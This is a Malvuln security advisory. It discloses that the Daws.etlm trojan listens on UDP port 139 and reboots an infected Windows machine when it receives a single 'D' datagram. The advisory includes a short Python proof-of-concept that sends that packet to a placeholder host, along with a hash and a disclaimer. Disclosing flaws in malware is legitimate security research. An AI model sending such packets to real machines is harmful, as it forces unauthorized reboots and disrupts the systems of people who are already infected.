Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/a0479e18283ed46e8908767dd0b40f8f.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-Dropper.Win32.Daws.etlm Vulnerability: Remote Unauthenticated System Reboot Description: Daws.etlm drops an executable named "MSWDM.EXE" under Windows dir and listens on UDP port 139. Unauthenticated third-party attackers can send a single uppercase char "D" datagram packet to the infected machine causing it to reboot. Basic testing using other upper/lower case chars from A-Z or numbers 0-9 did not reveal anything else of interest. Type: PE32 MD5: a0479e18283ed46e8908767dd0b40f8f Vuln ID: MVID-2021-0111 Dropped files: MSWDM.EXE Disclosure: 02/25/2021 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=139 def doit(): try: s=socket(AF_INET, SOCK_DGRAM) s.connect((MALWARE_HOST,PORT)) except Exception as e: print(str(e)) s.send("D") s.close() print("Trojan-Dropper.Win32.Daws.etlm / Remote Unauthenticated System Reboot") print("MD5: a0479e18283ed46e8908767dd0b40f8f") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).